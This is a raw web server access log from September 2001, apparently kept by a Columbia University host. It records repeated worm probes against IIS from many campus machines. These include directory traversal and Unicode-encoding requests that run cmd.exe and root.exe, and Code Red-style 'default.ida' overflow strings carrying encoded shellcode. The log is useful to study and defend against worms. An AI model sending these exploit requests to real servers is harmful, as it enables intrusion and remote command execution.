18:44:57: tfh-office.phys.columbia.edu [128.59.132.194] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:44:57: tfh-office.phys.columbia.edu [128.59.132.194] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:44:57: tfh-office.phys.columbia.edu [128.59.132.194] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:44:57: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:44:57: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:44:57: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:44:58: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:44:58: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:44:58: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:44:58: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:44:58: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:44:58: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 18:46:33: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 18:46:33: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:46:33: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:46:33: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:46:33: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:46:33: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:46:33: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:46:33: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:46:33: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:46:33: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:46:33: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:46:33: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:46:33: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:46:33: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:46:33: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:46:34: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 18:46:52: tfh-office.phys.columbia.edu [128.59.132.194] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 18:46:52: tfh-office.phys.columbia.edu [128.59.132.194] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:46:53: tfh-office.phys.columbia.edu [128.59.132.194] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:46:53: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:46:53: tfh-office.phys.columbia.edu [128.59.132.194] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:46:53: tfh-office.phys.columbia.edu [128.59.132.194] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:46:53: tfh-office.phys.columbia.edu [128.59.132.194] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:46:53: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:46:53: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:46:54: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:46:54: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:46:54: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:46:54: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:46:54: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:46:54: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:46:54: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 18:47:58: fms97.facil.columbia.edu [128.59.244.149] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 18:47:58: fms97.facil.columbia.edu [128.59.244.149] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:47:58: fms97.facil.columbia.edu [128.59.244.149] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:47:59: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:47:59: fms97.facil.columbia.edu [128.59.244.149] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:47:59: fms97.facil.columbia.edu [128.59.244.149] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:47:59: fms97.facil.columbia.edu [128.59.244.149] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:47:59: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:47:59: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:47:59: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:47:59: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:47:59: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:47:59: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:47:59: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:47:59: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:47:59: sql-server.jrn.columbia.edu [128.59.96.106] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010918 18:51:45: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 18:52:11: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 18:52:11: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:52:11: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:52:11: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:52:11: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:52:11: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:52:11: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:52:11: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:52:11: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:52:11: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:52:12: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:52:12: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:52:12: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:52:12: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:52:12: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:52:12: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010918 18:56:48: dhcp0.cs.columbia.edu [128.59.19.200] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010918 18:57:35: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 18:58:01: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 18:58:01: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:58:01: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:58:01: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:58:01: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:58:01: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:58:01: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:58:01: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:58:02: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:58:02: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:58:02: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:58:02: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:58:02: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:58:02: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:58:02: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:58:02: [61.167.249.77] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010918 19:00:47: dhcp0.cs.columbia.edu [128.59.19.200] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010918 19:02:37: dhcp33.cs.columbia.edu [128.59.19.233] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010918 19:03:42: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 19:04:52: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 19:04:52: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:04:52: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:04:52: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:04:52: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:04:52: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:04:53: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:04:53: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:04:53: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:04:53: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:04:53: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:04:53: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:04:53: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:04:53: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:04:53: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:04:53: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 19:05:09: dhcp12.cs.columbia.edu [128.59.19.212] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 19:05:09: dhcp12.cs.columbia.edu [128.59.19.212] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:05:09: dhcp12.cs.columbia.edu [128.59.19.212] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:05:09: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:05:09: dhcp12.cs.columbia.edu [128.59.19.212] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:05:10: dhcp12.cs.columbia.edu [128.59.19.212] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:05:10: dhcp12.cs.columbia.edu [128.59.19.212] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:05:10: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:05:10: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:05:10: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:05:10: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:05:10: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:05:10: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:05:10: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:05:10: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:05:10: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 19:06:55: dhcp12.cs.columbia.edu [128.59.19.212] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 19:06:55: dhcp12.cs.columbia.edu [128.59.19.212] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:06:55: dhcp12.cs.columbia.edu [128.59.19.212] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:06:56: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:06:56: dhcp12.cs.columbia.edu [128.59.19.212] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:06:56: dhcp12.cs.columbia.edu [128.59.19.212] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:06:56: dhcp12.cs.columbia.edu [128.59.19.212] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:06:56: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:06:56: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:06:56: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:06:56: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:06:56: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:06:56: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:06:56: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:06:56: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:06:56: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 19:10:31: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 19:10:31: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:10:31: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:10:31: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:10:31: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:10:31: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:10:31: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:10:31: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:10:31: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:10:31: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:10:31: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:10:31: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:10:31: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:10:31: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:10:31: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:10:31: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 19:12:35: sql-server.jrn.columbia.edu [128.59.96.106] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 19:12:35: sql-server.jrn.columbia.edu [128.59.96.106] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:12:35: sql-server.jrn.columbia.edu [128.59.96.106] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:12:36: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:12:36: sql-server.jrn.columbia.edu 